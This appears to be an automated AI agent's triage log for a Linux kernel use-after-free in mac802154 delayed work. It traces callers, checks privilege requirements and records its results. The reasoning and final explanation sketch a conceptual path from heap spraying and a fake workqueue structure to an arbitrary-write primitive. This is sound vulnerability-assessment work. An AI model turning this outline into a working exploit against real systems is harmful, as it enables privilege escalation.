net/mac802154/scan.c-207- rcu_read_unlock();
net/mac802154/scan.c:208: queue_delayed_work(local->mac_wq, &local->scan_work,
net/mac802154/scan.c-209- msecs_to_jiffies(1000));
--
net/mac802154/scan.c-272- page, channel, jiffies_to_msecs(scan_duration));
net/mac802154/scan.c:273: queue_delayed_work(local->mac_wq, &local->scan_work, scan_duration);
net/mac802154/scan.c-274- netdev_put(sdata->dev, &dev_tracker);
--
net/mac802154/scan.c=284=int mac802154_trigger_scan_locked(struct ieee802154_sub_if_data *sdata,
--
net/mac802154/scan.c-314-
net/mac802154/scan.c:315: queue_delayed_work(local->mac_wq, &local->scan_work, 0);
net/mac802154/scan.c-316-
]
|
| 102/2 |
2026/08/14 11:20 |
llm |
expert |
0m
Model:
Tokens:
input: 78839
output: 18
thoughts: 2623
Thoughts: **My Analysis of the IEEE 802.15.4 Use-After-Free Vulnerability**
Okay, here's my assessment. It looks like `queue_delayed_work` for `scan_work` in `mac802154` is only called from `mac802154_trigger_scan_locked` and `mac802154_scan_worker`. Further tracing reveals that `mac802154_trigger_scan_locked` is only called by `mac802154_trigger_scan`, which in turn is only called by `nl802154_trigger_scan`. A crucial point is that `nl802154_trigger_scan` requires `CAP_NET_ADMIN` in the *initial* user namespace, as confirmed by checking the `GENL_ADMIN_PERM` flag in its definition and verifying the `netlink_capable` function's check against `&init_user_ns`. Thus, an unprivileged user cannot directly trigger this bug. Even if a user is root within a VM guest, they can trigger the bug but it will only affect the VM guest kernel, not the host. This rules out a VM Guest Trigger.
Since `mac802154` is a software MAC and not a paravirtualized device, it's not a VM Host Trigger, either. However, `mac802154_hwsim`, which is a software simulator for IEEE 802.15.4, *can* be loaded in a VM guest, but it also won't affect the host.
The nature of the bug is a use-after-free, specifically involving `ieee802154_local` and the `workqueue_struct`. This is a clear Denial of Service scenario, as it's likely to cause a kernel panic. The vulnerability is highly exploitable. An attacker could potentially reallocate `ieee802154_local` and control the `wq` pointer, directing it to a fake `workqueue_struct`. In the `__queue_work` function, by controlling `wq` and `wq->cpu_pwq`, the attacker could redirect to a fake per-cpu pointer and from there to a fake `pwq` and `pwq->pool`. This allows them to control `pool->worklist`, the head of the list into which the work is inserted. Since the attacker also controls the `work` structure, they can achieve an arbitrary memory write by controlling `work->entry.prev` and writing `&work->entry` to `&pool->worklist->prev->next`, which gives a very dangerous arbitrary memory write primitive.
I went back and checked if there were other routes to trigger `mac802154_scan_worker` but no other paths exist. The same applies for all callers of the relevant functions. Netlink commands are local, so no network trigger. Malicious filesystems are not a concern. The only interesting possibility is a peripheral device. If a malicious USB device pretends to be an IEEE 802.15.4 device, it can register a wpan interface. But to trigger the bug, the attacker still needs to send `NL802154_CMD_TRIGGER_SCAN` netlink command, which requires `CAP_NET_ADMIN` in the init namespace. If the malicious USB device were unplugged while a scan is ongoing, `ieee802154_unregister_hw` would be called, potentially triggering the bug. This only happens if a scan is initiated by root, but if we assume some network manager is automatically scanning, it can be possible. However, the probability of this is low.
I also checked if there are any other ways to trigger `ieee802154_unregister_hw`. And `hwsim_del_radio_nl` can, but `hwsim_del_radio_nl` has `GENL_UNS_ADMIN_PERM`. So it can be triggered from a user namespace. But we need a scan ongoing to trigger the bug, and a scan requires root.
So, in summary:
* **Exploitable:** Yes.
* **Denial of Service:** Yes.
* **Accessible From Unprivileged Processes:** No.
* **Accessible From User Namespaces:** No.
* **VM Guest Trigger:** No.
* **VM Host Trigger in The Confidential Computing Context:** No.
* **Ethernet Network Trigger:** No.
* **Other Remote Trigger:** No.
* **Peripheral Trigger:** No (requires root interaction).
* **Malicious Filesystem Trigger:** No.
|
| 103/2 |
2026/08/14 11:20 |
tool |
grepper |
0m
Args: map[Expression:->trigger_scan]
Results: map[Output:net/ieee802154/rdev-ops.h=212=static inline int rdev_trigger_scan(struct cfg802154_registered_device *rdev,
--
net/ieee802154/rdev-ops.h-216-
net/ieee802154/rdev-ops.h:217: if (!rdev->ops->trigger_scan)
net/ieee802154/rdev-ops.h-218- return -EOPNOTSUPP;
--
net/ieee802154/rdev-ops.h-220- trace_802154_rdev_trigger_scan(&rdev->wpan_phy, request);
net/ieee802154/rdev-ops.h:221: ret = rdev->ops->trigger_scan(&rdev->wpan_phy, request);
net/ieee802154/rdev-ops.h-222- trace_802154_rdev_return_int(&rdev->wpan_phy, ret);
]
|
| 104/2 |
2026/08/14 11:20 |
llm |
expert |
0m
Model:
Tokens:
input: 82801
output: 20
thoughts: 14
Thoughts: Here's a summary of my thought process, as if I were analyzing that code snippet:
**Diving into `rdev_trigger_scan`**
Okay, so I see `rdev_trigger_scan`. My first instinct is to understand its scope and impact. This suggests a scan operation related to resource devices, likely a trigger or event-driven mechanism. It's a key function, and understanding how and where it's called is crucial for grasping its overall behavior and potential impact on system performance or stability. I need to figure out who's *calling* this function. Knowing the callers will tell me the context in which `rdev_trigger_scan` operates. Are we talking about a driver, the kernel, a specific subsystem? That context is vital. I'll need to use my tools to determine the callers of this function. Let's see what I find.
|
| 105/2 |
2026/08/14 11:20 |
tool |
grepper |
0m
Args: map[Expression:rdev_trigger_scan]
Results: map[Output:net/ieee802154/nl802154.c=1396=static int nl802154_trigger_scan(struct sk_buff *skb, struct genl_info *info)
--
net/ieee802154/nl802154.c-1453-
net/ieee802154/nl802154.c:1454: err = rdev_trigger_scan(rdev, request);
net/ieee802154/nl802154.c-1455- if (err) {
--
net/ieee802154/rdev-ops.h=200=rdev_set_ackreq_default(struct cfg802154_registered_device *rdev,
--
net/ieee802154/rdev-ops.h-211-
net/ieee802154/rdev-ops.h:212:static inline int rdev_trigger_scan(struct cfg802154_registered_device *rdev,
net/ieee802154/rdev-ops.h-213- struct cfg802154_scan_request *request)
--
net/ieee802154/rdev-ops.h-219-
net/ieee802154/rdev-ops.h:220: trace_802154_rdev_trigger_scan(&rdev->wpan_phy, request);
net/ieee802154/rdev-ops.h-221- ret = rdev->ops->trigger_scan(&rdev->wpan_phy, request);
--
net/ieee802154/trace.h=279=TRACE_EVENT(802154_rdev_set_ackreq_default,
--
net/ieee802154/trace.h-297-
net/ieee802154/trace.h:298:TRACE_EVENT(802154_rdev_trigger_scan,
net/ieee802154/trace.h-299- TP_PROTO(struct wpan_phy *wpan_phy,
]
|
| 106/2 |
2026/08/14 11:20 |
llm |
expert |
0m
Model:
Tokens:
input: 83619
output: 49
thoughts: 425
Thoughts: **My Assessment of the Vulnerability**
Okay, so the only way this bug, which causes a denial of service, can be triggered is through the `nl802154_trigger_scan` function. And that function is only accessible via the `NL802154_CMD_TRIGGER_SCAN` command. That, in turn, requires `CAP_NET_ADMIN` privileges within the initial namespace.
Therefore, this bug is exclusively accessible to the root user within the init namespace. It's definitely exploitable and leads to a DoS condition, but it's not something unprivileged processes or those within user namespaces can trigger. We can rule out VM guest/host triggers, network triggers, peripheral triggers, and filesystem triggers as potential vectors.
Let me just quickly confirm this with the `set-results` tool parameters: exploitable, DoS, not unprivileged, no user namespace access, and nothing related to VM, network, remote, peripheral or filesystem activity. Good.
Wait, could something in `mac802154_hwsim` maybe bypass this, you know, trick it into working somehow? No, I see that the core of the problem is a race condition between `mac802154_scan_worker` and `ieee802154_unregister_hw`. The `mac802154_scan_worker` only gets queued when a scan is *triggered*. If there's no scan, `scan_work` never gets queued, and there's no race. Thus, a scan MUST be triggered.
And that always means `CAP_NET_ADMIN` in the init namespace. So that's the bottom line.
Now, I wonder, are there any other delayed operations in `ieee802154_local` that we should be worried about that might exhibit a similar race? Let's check `ieee802154_alloc_hw`.
|
| 107/2 |
2026/08/14 11:21 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/mac802154/main.c Name:ieee802154_alloc_hw]
Results: map[SourceCode: 46: struct ieee802154_hw *
47: ieee802154_alloc_hw(size_t priv_data_len, const struct ieee802154_ops *ops)
48: {
49: struct wpan_phy *phy;
50: struct ieee802154_local *local;
51: size_t priv_size;
52:
53: if (WARN_ON(!ops || !(ops->xmit_async || ops->xmit_sync) || !ops->ed ||
54: !ops->start || !ops->stop || !ops->set_channel))
55: return NULL;
56:
57: /* Ensure 32-byte alignment of our private data and hw private data.
58: * We use the wpan_phy priv data for both our ieee802154_local and for
59: * the driver's private data
60: *
61: * in memory it'll be like this:
62: *
63: * +-------------------------+
64: * | struct wpan_phy |
65: * +-------------------------+
66: * | struct ieee802154_local |
67: * +-------------------------+
68: * | driver's private data |
69: * +-------------------------+
70: *
71: * Due to ieee802154 layer isn't aware of driver and MAC structures,
72: * so lets align them here.
73: */
74:
75: priv_size = ALIGN(sizeof(*local), NETDEV_ALIGN) + priv_data_len;
76:
77: phy = wpan_phy_new(&mac802154_config_ops, priv_size);
78: if (!phy) {
79: pr_err("failure to allocate master IEEE802.15.4 device\n");
80: return NULL;
81: }
82:
83: phy->privid = mac802154_wpan_phy_privid;
84:
85: local = wpan_phy_priv(phy);
86: local->phy = phy;
87: local->hw.phy = local->phy;
88: local->hw.priv = (char *)local + ALIGN(sizeof(*local), NETDEV_ALIGN);
89: local->ops = ops;
90:
91: INIT_LIST_HEAD(&local->interfaces);
92: INIT_LIST_HEAD(&local->rx_beacon_list);
93: INIT_LIST_HEAD(&local->rx_mac_cmd_list);
94: mutex_init(&local->iflist_mtx);
95:
96: tasklet_setup(&local->tasklet, ieee802154_tasklet_handler);
97:
98: skb_queue_head_init(&local->skb_queue);
99:
100: INIT_WORK(&local->sync_tx_work, ieee802154_xmit_sync_worker);
101: INIT_DELAYED_WORK(&local->scan_work, mac802154_scan_worker);
102: INIT_WORK(&local->rx_beacon_work, mac802154_rx_beacon_worker);
103: INIT_DELAYED_WORK(&local->beacon_work, mac802154_beacon_worker);
104: INIT_WORK(&local->rx_mac_cmd_work, mac802154_rx_mac_cmd_worker);
105:
106: init_completion(&local->assoc_done);
107:
108: /* init supported flags with 802.15.4 default ranges */
109: phy->supported.max_minbe = 8;
110: phy->supported.min_maxbe = 3;
111: phy->supported.max_maxbe = 8;
112: phy->supported.min_frame_retries = 0;
113: phy->supported.max_frame_retries = 7;
114: phy->supported.max_csma_backoffs = 5;
115: phy->supported.lbt = NL802154_SUPPORTED_BOOL_FALSE;
116:
117: /* always supported */
118: phy->supported.iftypes = BIT(NL802154_IFTYPE_NODE) | BIT(NL802154_IFTYPE_COORD);
119:
120: return &local->hw;
121: }
SourceFile:net/mac802154/main.c]
|
| 108/2 |
2026/08/14 11:21 |
llm |
expert |
0m
Model:
Tokens:
input: 85859
output: 48
thoughts: 25
Thoughts: Here's my take on those thoughts, tailored for an expert audience:
**Beacon Work Examination**
Alright, so we've got something flagged as `beacon_work`. My immediate reaction is to dive deeper. My gut tells me that `mac802154_beacon_worker` is the likely candidate for handling this. I need to confirm if it's responsible for the `beacon_work` directive. If it isn't, then further investigation will be required. It might involve looking at all worker threads or going through the code for related functions, but I'll start with this suspect and see what I can find. It is possible that `beacon_work` means many things, but `mac802154_beacon_worker` is the obvious first place to look.
|
| 109/2 |
2026/08/14 11:21 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/mac802154/main.c Name:mac802154_beacon_worker]
Results: map[SourceCode: 412: void mac802154_beacon_worker(struct work_struct *work)
413: {
414: struct ieee802154_local *local =
415: container_of(work, struct ieee802154_local, beacon_work.work);
416: struct cfg802154_beacon_request *beacon_req;
417: struct ieee802154_sub_if_data *sdata;
418: netdevice_tracker dev_tracker;
419: struct wpan_dev *wpan_dev;
420: u8 interval;
421: int ret;
422:
423: rcu_read_lock();
424: beacon_req = rcu_dereference(local->beacon_req);
425: if (unlikely(!beacon_req)) {
426: rcu_read_unlock();
427: return;
428: }
429:
430: sdata = IEEE802154_WPAN_DEV_TO_SUB_IF(beacon_req->wpan_dev);
431: netdev_hold(sdata->dev, &dev_tracker, GFP_ATOMIC);
432:
433: /* Wait an arbitrary amount of time in case we cannot use the device */
434: if (local->suspended || !ieee802154_sdata_running(sdata)) {
435: rcu_read_unlock();
436: queue_delayed_work(local->mac_wq, &local->beacon_work,
437: msecs_to_jiffies(1000));
438: netdev_put(sdata->dev, &dev_tracker);
439: return;
440: }
441:
442: wpan_dev = beacon_req->wpan_dev;
443: interval = beacon_req->interval;
444:
445: rcu_read_unlock();
446:
447: dev_dbg(&sdata->dev->dev, "Sending beacon\n");
448: ret = mac802154_transmit_beacon(local, wpan_dev);
449: if (ret)
450: dev_err(&sdata->dev->dev,
451: "Beacon could not be transmitted (%d)\n", ret);
452:
453: if (interval < IEEE802154_ACTIVE_SCAN_DURATION)
454: queue_delayed_work(local->mac_wq, &local->beacon_work,
455: local->beacon_interval);
456: netdev_put(sdata->dev, &dev_tracker);
457: }
SourceFile:net/mac802154/scan.c]
|
| 110/2 |
2026/08/14 11:21 |
llm |
expert |
0m
Model:
Tokens:
input: 86929
output: 66
thoughts: 308
Thoughts: **My Analysis of a Potential Use-After-Free Vulnerability**
Okay, let's break this down. It looks like `mac802154_beacon_worker` is scheduling a delayed work item, `local->beacon_work`, using `queue_delayed_work`. Then, I see that `ieee802154_unregister_hw` doesn't call `cancel_delayed_work_sync` on this `beacon_work`. Hmm, that's not ideal. But, *wait*, `mac802154_stop_beacons_locked` *does* call `cancel_delayed_work` on it. And, to further clarify, `mac802154_slave_close` calls the `mac802154_stop_beacons_locked` function.
This is starting to look familiar. It mirrors the issue I previously identified! It seems `beacon_work` is plagued by the *exact* same use-after-free vulnerability as the earlier finding. Critically, I see that `NL802154_CMD_SEND_BEACONS` requires `GENL_ADMIN_PERM`, which means it also needs `CAP_NET_ADMIN` in the init namespace to trigger.
Therefore, it looks like both `scan_work` and `beacon_work` are vulnerable to the same use-after-free bug due to the missing `cancel_delayed_work_sync`. And, critically, both require `CAP_NET_ADMIN` in the init namespace to be triggered. I'm starting to get a very clear picture here.
My assessment is now very solid. The bug is exploitable and will lead to a denial of service. However, it's not accessible from an unprivileged process or a user namespace. The exploit can't be triggered remotely, isn't VM-specific, doesn't relate to a network trigger, and isn't tied to a peripheral or filesystem. My analysis is solid, and I'm confident in my conclusions.
|
| 111/2 |
2026/08/14 11:21 |
tool |
set-results |
0m
Args: map[DenialOfService:true Exploitable:true FilesystemTrigger:false NetworkTrigger:false PeripheralTrigger:false RemoteTrigger:false Unprivileged:false UserNamespace:false VMGuestTrigger:false VMHostTrigger:false]
Results: map[DenialOfService:true Exploitable:true FilesystemTrigger:false NetworkTrigger:false PeripheralTrigger:false RemoteTrigger:false Unprivileged:false UserNamespace:false VMGuestTrigger:false VMHostTrigger:false]
|
| 112/2 |
2026/08/14 11:21 |
llm |
expert |
0m
Model:
Tokens:
input: 87809
output: 870
thoughts: 10
Thoughts: Okay, here's the summary, rendered in the first person, assuming I'm an expert in a field and this is my thought process:
**Finalizing the Response**
Alright, I've reviewed all the points, considered the nuances, and I'm feeling confident about this final reply. I've mapped out the potential counterarguments in my head, and I'm ready to address them with precision and clarity. I know the intricacies of this subject matter inside and out, so I can anticipate the likely questions and tailor my response to preemptively provide the necessary context. I'm aiming for a concise yet comprehensive summary, hitting all the key points without getting bogged down in unnecessary detail. Now it's time to craft that perfect concluding statement that encapsulates everything we've discussed. Let's make this both informative and memorable.
|
| 113/1 |
2026/08/14 11:21 |
action |
format-explanation |
0m
Results: map[Explanation:The bug is a classic use-after-free vulnerability in the `mac802154` subsystem,
specifically involving the `scan_work` (and similarly `beacon_work`) delayed
work structures.
### Root Cause Analysis
When a radio is deleted (e.g., via `MAC802154_HWSIM_CMD_DEL_RADIO`), the kernel
unregisters the hardware by calling `ieee802154_unregister_hw()`. This function
brings down the network interfaces, which in turn calls
`mac802154_slave_close()`. If a scan is ongoing, it aborts the scan by calling
`mac802154_scan_cleanup_locked()`, which uses
`cancel_delayed_work(&local->scan_work)` to cancel the pending scan timer.
However, `cancel_delayed_work()` does not wait for the work to finish if it is
currently executing. If `mac802154_scan_worker()` is running concurrently, it
can re-arm the timer by calling `queue_delayed_work()` *after*
`cancel_delayed_work()` has returned.
Later, `ieee802154_unregister_hw()` calls `destroy_workqueue(local->mac_wq)`.
The `destroy_workqueue()` function drains the workqueue but explicitly does
*not* cancel or wait for non-pending delayed works (i.e., works whose timers
have not yet fired). Finally, the `ieee802154_local` structure is freed. When
the re-armed timer eventually fires, it accesses the freed `ieee802154_local`
and the freed `workqueue_struct`, resulting in a use-after-free.
### Exploitability
**Exploitable: Yes**
The timer function `delayed_work_timer_fn()` will access the freed
`workqueue_struct` pointer and the freed `delayed_work` structure. By spraying
the heap, an attacker can reallocate the `ieee802154_local` structure with
controlled data. This allows the attacker to control the `wq` pointer passed to
`__queue_work()`. By pointing `wq` to a fake workqueue structure, the attacker
can hijack the `insert_work()` list operations to link a controlled `list_head`
into an arbitrary memory location. This provides a powerful arbitrary memory
write primitive, which can be reliably used for local privilege escalation.
### Access and Triggers
**Accessible From Unprivileged Processes: No**
**Accessible From User Namespaces: No**
Triggering the bug requires starting a scan (or beaconing) on the `mac802154`
interface. This is done via the `NL802154_CMD_TRIGGER_SCAN` netlink command. In
the `nl802154` family definition, this command is protected by the
`GENL_ADMIN_PERM` flag. The kernel's generic netlink layer checks this flag
using `netlink_capable(skb, CAP_NET_ADMIN)`, which strictly verifies if the
sender has `CAP_NET_ADMIN` in the **initial** user namespace (`&init_user_ns`).
Therefore, unprivileged users, even if they create a new user namespace and
network namespace where they hold `CAP_NET_ADMIN`, cannot bypass this check. The
bug is strictly reachable only by the global root user.
**Other Triggers:**
- **Peripheral Trigger: No.** While a malicious USB device could register an
IEEE 802.15.4 wpan interface, the bug still requires the host to actively send
the `NL802154_CMD_TRIGGER_SCAN` netlink command to start the scan before the
device is disconnected. Since this requires global root privileges, the
peripheral device cannot trigger the bug autonomously.
- **Network/Remote/Filesystem/VM Triggers: No.** The bug is in a local netlink
configuration path and requires local root access to trigger.]
|